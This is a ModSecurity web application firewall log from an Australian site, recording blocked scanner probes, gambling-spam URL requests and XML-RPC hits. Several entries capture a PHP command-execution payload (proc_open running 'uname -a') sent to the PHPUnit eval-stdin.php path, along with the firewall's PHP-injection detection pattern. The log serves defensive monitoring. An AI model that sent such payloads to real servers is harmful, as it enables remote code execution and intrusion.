[Sat Apr 18 17:33:54.188093 2026] [:error] [pid 34237:tid 34250] [client 145.239.69.44:35602] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aeNQAhBmX4Wq5a6rxfZhyQAAAUs"]
[Sat Apr 18 17:33:56.817596 2026] [:error] [pid 9970:tid 9993] [client 145.239.69.44:35616] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeNQBCYdRLRhVmaIMx2RqQAAANM"]
[Sat Apr 18 17:33:59.529446 2026] [:error] [pid 34237:tid 34252] [client 145.239.69.44:35630] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aeNQBxBmX4Wq5a6rxfZhzAAAAU0"]
[Sat Apr 18 17:34:02.243807 2026] [:error] [pid 9863:tid 9876] [client 145.239.69.44:34072] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aeNQCjjjiypiFrTucbK2tQAAAAM"]
[Sat Apr 18 17:34:04.643521 2026] [:error] [pid 13023:tid 13028] [client 145.239.69.44:34086] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aeNQDP1e7hG8DAeABB_dywAAAQM"]
[Sat Apr 18 17:34:07.217525 2026] [:error] [pid 9863:tid 9895] [client 145.239.69.44:34100] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aeNQDzjjiypiFrTucbK2vQAAABY"]
[Sat Apr 18 17:34:09.830682 2026] [:error] [pid 9970:tid 9985] [client 145.239.69.44:34106] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeNQESYdRLRhVmaIMx2RuAAAAMs"]
[Sat Apr 18 17:34:12.382173 2026] [:error] [pid 13023:tid 13044] [client 145.239.69.44:59482] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeNQFP1e7hG8DAeABB_d2wAAARM"]
[Sat Apr 18 17:34:14.937386 2026] [:error] [pid 34237:tid 34260] [client 145.239.69.44:59494] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeNQFhBmX4Wq5a6rxfZh4AAAAVU"]
[Sat Apr 18 17:34:17.533380 2026] [:error] [pid 34237:tid 34240] [client 145.239.69.44:59496] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeNQGRBmX4Wq5a6rxfZh9gAAAUE"]
[Sat Apr 18 17:34:20.098172 2026] [:error] [pid 13023:tid 13044] [client 145.239.69.44:59510] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeNQHP1e7hG8DAeABB_d6QAAARM"]
[Sat Apr 18 17:34:22.553647 2026] [:error] [pid 9865:tid 9961] [client 145.239.69.44:46702] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeNQHqzb5knECIY-C-hnCAAAAJg"]
[Sat Apr 18 17:34:25.054396 2026] [:error] [pid 9865:tid 9945] [client 145.239.69.44:46716] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeNQIazb5knECIY-C-hnCgAAAIg"]
[Sat Apr 18 17:34:27.376500 2026] [:error] [pid 13023:tid 13025] [client 145.239.69.44:46730] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeNQI_1e7hG8DAeABB_eAAAAAQA"]
[Sat Apr 18 17:34:29.710614 2026] [:error] [pid 9970:tid 9975] [client 145.239.69.44:46734] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeNQJSYdRLRhVmaIMx2R4AAAAME"]
[Sat Apr 18 17:34:32.009519 2026] [:error] [pid 9970:tid 9981] [client 145.239.69.44:49994] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeNQKCYdRLRhVmaIMx2R8QAAAMc"]
[Sat Apr 18 17:34:34.436460 2026] [:error] [pid 34237:tid 34239] [client 145.239.69.44:49998] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeNQKhBmX4Wq5a6rxfZiBwAAAUA"]
[Sat Apr 18 17:34:36.894026 2026] [:error] [pid 9970:tid 9988] [client 145.239.69.44:50004] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeNQLCYdRLRhVmaIMx2R_gAAAM4"]
[Sat Apr 18 17:34:39.331108 2026] [:error] [pid 13023:tid 13045] [client 145.239.69.44:50008] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeNQL_1e7hG8DAeABB_eHgAAARQ"]
[Sat Apr 18 17:34:41.739484 2026] [:error] [pid 9970:tid 9985] [client 145.239.69.44:57772] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeNQMSYdRLRhVmaIMx2SBAAAAMs"]
[Sat Apr 18 17:34:44.343170 2026] [:error] [pid 9864:tid 9923] [client 145.239.69.44:57780] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeNQNICFeowknfXHM7nhmgAAAFE"]
[Sat Apr 18 17:35:05.243909 2026] [:error] [pid 13023:tid 13041] [client 136.109.247.201:64229] [client 136.109.247.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.247.201, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeNQSf1e7hG8DAeABB_eOwAAARA"]
[Sat Apr 18 17:35:05.354469 2026] [:error] [pid 13023:tid 13036] [client 136.109.247.201:58307] [client 136.109.247.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.247.201, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeNQSf1e7hG8DAeABB_ePwAAAQs"]
[Sat Apr 18 17:35:06.097591 2026] [:error] [pid 13023:tid 13025] [client 136.109.247.201:64229] [client 136.109.247.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeNQSv1e7hG8DAeABB_eRwAAAQA"]
[Sat Apr 18 17:35:06.114067 2026] [:error] [pid 13023:tid 13044] [client 136.109.247.201:58307] [client 136.109.247.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeNQSv1e7hG8DAeABB_eSAAAARM"]
[Sat Apr 18 17:35:06.889820 2026] [:error] [pid 9865:tid 9961] [client 136.109.247.201:52883] [client 136.109.247.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeNQSqzb5knECIY-C-hnIwAAAJg"]
[Sat Apr 18 17:35:06.936707 2026] [:error] [pid 9865:tid 9952] [client 136.109.247.201:53867] [client 136.109.247.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeNQSqzb5knECIY-C-hnJAAAAI8"]
[Sat Apr 18 18:54:06.373420 2026] [:error] [pid 34237:tid 34262] [client 165.245.188.147:55057] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeNizhBmX4Wq5a6rxfZ_KwAAAVc"]
[Sat Apr 18 18:54:06.571573 2026] [:error] [pid 34237:tid 34252] [client 165.245.188.147:55066] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeNizhBmX4Wq5a6rxfZ_LAAAAU0"]
[Sat Apr 18 18:54:06.795021 2026] [:error] [pid 13023:tid 13029] [client 165.245.188.147:55075] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeNizv1e7hG8DAeABB_zAAAAAQQ"]
[Sat Apr 18 18:54:07.259126 2026] [:error] [pid 13023:tid 13037] [client 165.245.188.147:55084] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeNiz_1e7hG8DAeABB_zAQAAAQw"]
[Sat Apr 18 18:54:07.755371 2026] [:error] [pid 34290:tid 34338] [client 165.245.188.147:55104] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeNizxqX6WpmmAXOBi8EnAAAAdM"]
[Sat Apr 18 18:54:08.277162 2026] [:error] [pid 9865:tid 9945] [client 165.245.188.147:55125] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeNi0Kzb5knECIY-C-h09wAAAIg"]
[Sat Apr 18 19:31:26.992225 2026] [:error] [pid 34290:tid 34319] [client 51.77.216.81:34284] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aeNrjhqX6WpmmAXOBi8MngAAAcA"]
[Sat Apr 18 19:31:29.291146 2026] [:error] [pid 13023:tid 13029] [client 51.77.216.81:34638] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aeNrkf1e7hG8DAeABB_52wAAAQQ"]
[Sat Apr 18 19:31:31.848097 2026] [:error] [pid 34237:tid 34255] [client 51.77.216.81:34192] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aeNrkxBmX4Wq5a6rxfaPdgAAAVA"]
[Sat Apr 18 19:31:34.420262 2026] [:error] [pid 34290:tid 34335] [client 51.77.216.81:34202] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aeNrlhqX6WpmmAXOBi8MqgAAAdA"]
[Sat Apr 18 19:31:36.971950 2026] [:error] [pid 34237:tid 34251] [client 51.77.216.81:34216] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aeNrmBBmX4Wq5a6rxfaPhAAAAUw"]
[Sat Apr 18 19:31:39.507892 2026] [:error] [pid 34237:tid 34247] [client 51.77.216.81:34224] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aeNrmxBmX4Wq5a6rxfaPigAAAUg"]
[Sat Apr 18 19:31:41.995713 2026] [:error] [pid 13023:tid 13049] [client 51.77.216.81:43744] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aeNrnf1e7hG8DAeABB_54gAAARg"]
[Sat Apr 18 21:24:25.702954 2026] [:error] [pid 13023:tid 13040] [client 49.51.73.183:58612] [client 49.51.73.183] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeOGCf1e7hG8DAeABB8aqwAAAQ8"]
[Sun Apr 19 01:30:40.366262 2026] [:error] [pid 41277:tid 41282] [client 182.43.70.143:42278] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeO_wEH3ayszMLZYflvttwAAAYM"]
[Sun Apr 19 02:35:47.240627 2026] [:error] [pid 33517:tid 33524] [client 20.91.197.181:52625] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "aePPA34Zz-rubR1wiZ-5uQAAAMU"]
[Sun Apr 19 02:35:47.789910 2026] [:error] [pid 32165:tid 32190] [client 20.91.197.181:52082] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "aePPA6e2vKwEk_N0Brb-cQAAABU"]
[Sun Apr 19 02:35:48.445318 2026] [:error] [pid 33517:tid 33540] [client 20.91.197.181:50010] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "aePPBH4Zz-rubR1wiZ-5ugAAANU"]
[Sun Apr 19 02:35:49.055591 2026] [:error] [pid 32167:tid 32227] [client 20.91.197.181:50040] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "aePPBUyD4Jm27Mb3NJiTJgAAAII"]
